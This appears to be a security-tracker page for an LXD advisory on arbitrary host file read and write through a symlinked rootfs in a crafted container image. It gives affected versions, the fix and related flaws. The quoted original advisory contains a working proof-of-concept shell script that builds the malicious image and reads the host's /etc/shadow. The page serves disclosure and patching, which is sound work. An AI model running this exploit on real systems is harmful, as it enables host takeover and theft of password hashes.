Patch Forecast
Amber warning
Patch this week.

GHSA-vghh-5rfx-xhq8

LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

Risk score
64/100
CVSS
9.9 v3.1
Published
6 Nov 2026

Open in the live forecast Today's forecast

What to know

What it is
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full…
Affected
github.com/canonical/lxd (go) < 0.0.0-20260630083100-c5184be310b1
Fix
Upgrade github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later.
Exploitation
No known exploitation

Story map

Story map: github.com/canonical/lxdTHE FLAWSTHE FIXGHSA-vghh-5rfx-xhq8LXD has arbitrary fileread+write on host via rootfs/symlink in malicious imageCVSS 9.9GHSA-jpf8-86f3-wp38LXD has arbitrary fileread+write on host viatemplates/ symlink in…CVSS 9.9GHSA-9j25-mm2h-2f76LXD has arbitrary file write onhost via `exec-output` symlinkin crafted imageCVSS 9.9GHSA-47w9-6r3f-938gLXD has restricted projectbypass leading to arbitrarycommand executionCVSS 9.9FixUpgradegithub.com/canonical/lxd to0.0.0-20260630083100-c5184be310b1 or later.Who is exposedgithub.com/canonical/lxd (go) <0.0.0-20260630083100-c5184be310b1AMBER · PATCH THIS WEEKgithub.com/canonical/lxdReported fromhttps://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv A specially craftedimage can be used to read orcreate/write arbitrary files onthe host; possibly leading to…Where it standsNo known exploitationCONNECTS TOSame weaknessCWE-73 (CWE-73)88 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

github.com/canonical/lxd: Amber, patch this week. Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full…

The flaws

  • GHSA-vghh-5rfx-xhq8: LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image (CVSS 9.9)
  • GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image (CVSS 9.9)
  • GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image (CVSS 9.9)
  • GHSA-47w9-6r3f-938g: LXD has restricted project bypass leading to arbitrary command execution (CVSS 9.9)

The fix

Fix: Upgrade github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later.

Who is exposed: github.com/canonical/lxd (go) < 0.0.0-20260630083100-c5184be310b1

Where it stands

  • No known exploitation

Connects to

Why it is Amber

  • CVSS 9.9 critical
  • On your watchlist: Go

Affected packages

PackageEcosystemVulnerableFixed in
github.com/canonical/lxdgo< 0.0.0-20260630083100-c5184be310b10.0.0-20260630083100-c5184be310b1

References

Original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Last activity 6 Nov 2026. Patch Forecast updates every hour.